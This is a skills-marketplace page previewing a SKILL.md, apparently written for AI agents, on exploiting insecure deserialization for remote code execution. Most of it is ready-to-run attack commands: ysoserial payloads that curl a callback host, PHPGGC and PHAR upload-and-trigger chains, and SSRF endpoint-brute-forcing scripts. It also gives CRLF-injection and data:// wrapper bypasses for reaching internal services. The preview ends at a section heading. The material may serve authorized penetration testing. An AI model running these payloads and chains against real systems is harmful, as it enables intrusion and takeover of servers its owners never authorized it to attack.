Skip to main content

exploit-deserialization

Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
June 2, 2026 at 18:57
Detected SKILL.md language
English
Stars
5,522
Forks
1,048

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
exploit-deserialization
description
Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1203","when_to_use":"deserialization, serialize, unserialize, pickle, ysoserial, phpggc, gadget chain, viewstate, java object, rO0AB, aced0005, base64 object, marshalling, unmarshal"}
# Insecure Deserialization Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains. ## Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable) Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong: 1. **Re-check session cookies.** Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read `recon_notes.md` for the "Sink preconditions" table and "Required session state" line. 2. **If recon did not enumerate cookie-gating** (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie. 3. **Replay with the gating cookie attached** before concluding the chain or gadget is wrong. 4. **Only then** consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist). Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login. ## Identifying Deserialization Points - **Java**: Base64-encoded blobs starting with `rO0AB` (raw) or `aced0005` (hex), `Content-Type: application/x-java-serialized-object` - **PHP**: Strings matching `O:[0-9]+:"` or `a:[0-9]+:{`, cookies/parameters with serialized data - **.NET**: `VIEWSTATE` parameter, `Content-Type: application/soap+xml`, `__VIEWSTATE` field - **Python**: Base64-encoded pickle data, `application/x-python-pickle` ## Java — ysoserial ```bash # Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1) java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt # CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0 # Inject via curl curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt ``` ## PHP — PHPGGC ```bash # Generate payload (chains: Laravel/RCE1-10, Symfony/RCE1-7, Guzzle/RCE1, Monolog/RCE1-7) phpggc Laravel/RCE1 system 'id' -b > php_payload.txt phpggc Laravel/RCE1 system 'id' -b | base64 -w0 > php_payload_b64.txt ``` ### PHP PHAR deserialization via file upload — the wrapper-triggered chain When a target accepts file uploads AND any code path later passes a user-controlled filename through a PHP file function that ACCEPTS STREAM WRAPPERS (`file_exists`, `file_get_contents`, `fopen`, `getimagesize`, `is_file`, `filesize`, `stat`, `md5_file`, `sha1_file`, `unlink`, `imagecreatefromjpeg`/`png`/`gif`, etc.), uploading a PHAR file and referencing it via the `phar://` wrapper triggers automatic deserialization of the PHAR's metadata — no `unserialize()` call required on the server side. Pre-conditions: upload accepted (any extension — `.jpg`, `.gif`, `.pdf`, `.phar`, `.txt` all work because PHAR detection is content-based via signature, not extension); and at least one server-side path that resolves a user-influenced filename through a stream-wrapper-aware function. ```bash # 1. Build PHAR with malicious metadata using phpggc (-p phar / --phar) phpggc -p phar -o exploit.phar Monolog/RCE6 system 'id > /tmp/pwn' # 2. Rename to a permitted upload extension so the upload filter accepts it mv exploit.phar exploit.jpg # 3. Upload via the app's upload endpoint curl -s -X POST 'https://<TARGET>/upload' \ -F 'file=@exploit.jpg' -b "$COOKIE_JAR" -o upload_resp.txt head -20 upload_resp.txt # extract the resulting filename/path # 4. Trigger via any phar:// referencing endpoint # Common surfaces: image processing, file-existence check, profile-image setter, # avatar URL, attachment preview, report-export filename, log-viewer path. curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt # 5. Verify execution via the chain's side-effect (file write, HTTP callback, DNS) curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/dev/null # or check callback ``` **Notes:** - PHP 8.0+ removed automatic PHAR deserialization for many functions, but stream-wrapper paths still trigger it; check `phpinfo()` for `phar.readonly` and `phar.require_hash`. - The PHAR file MUST be uploaded with a path the trigger code can reach. If uploads land in `/var/www/uploads/` and the trigger uses a virtual path, find the real-disk path via LFI or error messages first. - When upload extension is restricted (whitelist: `jpg/png/gif`), append a polyglot prefix to the PHAR so the file still parses as the claimed format. `phpggc` supports JPEG/GIF wrappers natively (`--prefix '<JFIF/GIF header>'`). - PHAR also supports `tar`/`zip` containers (`-f tar`/`-f zip`) — useful when the upload filter sniffs ZIP/TAR magic. ### Multi-service PHAR chain via SSRF + internal upload + hidden trigger Common production architecture: a public frontend exposes an SSRF primitive (URL fetcher, webhook, "import from URL"), and a back-end service — reachable only via that SSRF — has BOTH a file-upload sink AND a `phar://`-aware function. The exploit is the chain, not any single endpoint. **Pre-conditions**: - Frontend has an SSRF that can reach the internal service (URL validation + scheme/port filter does NOT block `http://` to the internal host). - Internal service exposes an upload endpoint that writes attacker-controlled bytes to a known path (response usually returns the saved path). - Internal service ALSO exposes a code path that calls a stream-wrapper-aware PHP function on a user-controlled filename (`file_exists`, `file_get_contents('phar://' . $path . '/manifest')`, `is_file`, etc.). - A gadget class exists on the internal service with a magic method (`__wakeup`, `__destruct`, `__toString`) reaching `eval`/`system`/`exec`. **Reconnaissance step that agents skip** (the failure mode): when SSRF first works against the internal service, **enumerate every endpoint, not just the ones the front-end documents**. Internal services frequently have hidden routes used only for internal control (`/sku_read`, `/internal/process`, `/admin/import`, `/_debug/eval`). The documentation endpoint (`/`, `/api/docs`, `/help`) typically lists only the public-facing routes — wordlist-brute the rest: ```bash # Brute internal endpoints via SSRF — ALSO enumerate filename permutations. # Common failure: agents guess one ordering of a two-word filename but the # actual file uses the reversed order, a different separator, or a different # extension. Internal-service filenames often do NOT mirror the public-facing # endpoint naming convention even when they manipulate the same resource. INTERNAL="http://internal-host:<port>" SSRF="http://<TARGET>/url-fetcher.php?url=" # Words you already harvested from response bodies, error messages, or # documentation pages on the internal service. WORDS=(process read upload import export admin debug status info validate transfer) # Generate permutations: each base word, both word-orders for two-word combos, # with and without .php extension, and snake/kebab/camel variants. paths=() for w in "${WORDS[@]}"; do paths+=("$w" "$w.php" "${w}_handler.php" "_${w}.php") done # Two-word combos (both orders) — common pattern: verb_noun + noun_verb for a in process read upload import; do for b in sku data file model; do paths+=("${a}_${b}" "${a}_${b}.php" "${b}_${a}" "${b}_${a}.php" \ "${a}-${b}.php" "${b}-${a}.php" "${a}${b^}.php" "${b}${a^}.php") done done # Generic api/ + admin/ + _internal/ + _debug/ namespace prefixes for ns in "" "api/" "v1/" "_internal/" "_debug/" "admin/"; do for ep in process read upload import export status info; do paths+=("${ns}${ep}" "${ns}${ep}.php") done done for path in "${paths[@]}"; do safe=${path//\//_} STATUS=$(curl -s -o "/tmp/probe_${safe}.txt" -w '%{http_code}' \ "${SSRF}${INTERNAL}/${path}") SIZE=$(wc -c < "/tmp/probe_${safe}.txt") # Skip uniform 4xx; surface anything that breaks the negative-baseline pattern. echo "$path: status=$STATUS size=$SIZE" done | sort -t= -k2 -u ``` **Why permutation matters**: public-facing endpoints are usually named `<resource>_<action>.<ext>` (the publicly-visible CRUD-style API). Internal backend files often invert this to `<action>_<resource>.<ext>` because internal code organization mirrors *action-then-resource* naming (the verb that the handler executes is in the filename head). Guessing only one ordering misses the other 50%. Always permute (both orderings × with/without extension × snake/kebab/camel separators). **Chain template**: ```bash # 1. Build PHAR (gadget with __wakeup/__destruct → eval/system) phpggc -p phar -o exploit.phar <Framework>/RCE<N> system 'id > /tmp/pwned' mv exploit.phar exploit.jpg # 2. SSRF #1 — POST PHAR to internal upload endpoint; capture saved path curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/upload" \ --data-urlencode "data=$(base64 -w0 exploit.jpg)" \ -o /tmp/upload_resp.txt SAVED_PATH=$(jq -r '.file_path' /tmp/upload_resp.txt) # 3. SSRF #2 — trigger phar:// on the saved path via the hidden internal endpoint curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/<HIDDEN_TRIGGER>" \ --data-urlencode "file_path=${SAVED_PATH}" # 4. Verify side-effect (file write, callback, log line, etc.) ``` **SSRF body-control gotcha** — the #1 reason this chain stalls. If the frontend SSRF wraps the outbound request in a hard-coded stream context (e.g. `'method' => 'POST', 'content' => http_build_query(['param1' => 'value1', 'param2' => 'value2'])`), every internal request shares the SAME body bytes regardless of any value you submit. Recognition signal: source-disclose `sku_url.php`-style fetcher (via `/backup/`, `/.git/`, error stacks, or by reading the internal index page that often documents endpoints) → spot the `'content' => ...` line with a hardcoded query string. If you cannot disclose the source, infer the gotcha when: - The SSRF endpoint accepts a URL field but the internal upload endpoint (whose path you can deduce from the URL field's value or the internal docs) always returns `{"status":"failure"}` / "missing data" regardless of what you send. - Multipart, JSON, raw-binary, and query-string-only POSTs ALL produce the identical failure shape — body content is being overridden. **Concrete workaround ladder** (try in this order; each takes one or two curl calls): 1. **Source-disclose `backup.zip` / `.git/config` / accessible admin source endpoints via the SSRF first.** The exact hardcoded body string is your primary intel — it names the literal POST params the internal endpoint receives. Then read the internal endpoint's source to determine WHICH PHP superglobal it consumes (`$_POST`, `$_REQUEST`, `$_GET`, `php://input`, `getallheaders()`). If it uses `$_REQUEST` or `$_GET`, query-string params on the SSRF URL are sufficient — the hardcoded body coexists with your query string: ```bash # Encode PHAR as base64 into the SSRF URL's query string PHAR_B64=$(base64 -w0 exploit.phar) curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ --data-urlencode "url=http://<INTERNAL>:<PORT>/upload?data=${PHAR_B64}" ``` 2. **Sandbox-direct port reach** — confirm whether the internal service is reachable from the agent's sandbox container by IP, even when not externally port-mapped. Docker compose networks default-route the agent container into `172.x.x.x/8` so other compose services may be reachable by service name (`skumodel`, `internal-svc`) or by their internal IP. One curl from the sandbox bypasses the SSRF entirely: ```bash curl -s "http://skumodel:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)" curl -s "http://172.20.0.5:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)" ``` 3. **CRLF injection into the SSRF URL field** to rewrite the outbound request line OR inject additional POST body bytes. Many `parse_url` + `file_get_contents` combos do not normalize CR/LF inside the URL host or path components; injecting `%0d%0a` lets you override the `Content-Length` and append your payload to the body: ```bash curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ --data-urlencode "url=http://internal:port/upload%0d%0aContent-Length:%20<NEW_LEN>%0d%0a%0d%0adata=<PHAR_B64>" ``` 4. **Second SSRF surface** — many apps have more than one URL fetcher (image preview, OAuth redirect, webhook ping, RSS importer). If the first SSRF has a hardcoded body but a second one accepts an arbitrary body, chain them: second SSRF performs the upload, first SSRF triggers `phar://` via the read endpoint. Recon for ALL URL-accepting fields, not just the one named `url`. 5. **Stream-context override via PHP wrapper in the URL** — `php://temp` / `data://` schemes inside the user-provided URL can supply alternate body bytes that override the hardcoded `'content'`. Only relevant when `FILTER_VALIDATE_URL` is lax or wrappers are not stripped: ```bash curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ --data-urlencode "url=data://text/plain;base64,$(echo -n "data=${PHAR_B64}" | base64 -w0)" ``` **Recognition + workaround order is the discriminating skill** — the body-control gotcha is not the conceptual chain (agents typically reach the chain on their own). The skill is recognizing the signature in 1–2 probes and immediately rotating through workarounds 1→5 instead of iterating dozens of multipart/JSON variants that all collide with the hardcoded body. **Generality**: applies to any PHP shop with split frontend/worker architecture (WordPress + media worker, Symfony + asset service, custom microservice with PHP backend). The pattern is recon-first: trace what the SSRF can REACH, enumerate every endpoint at that destination, then chain. ### Building a custom PHAR when phpggc has no gadget for the target's framework
View on GitHub
This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub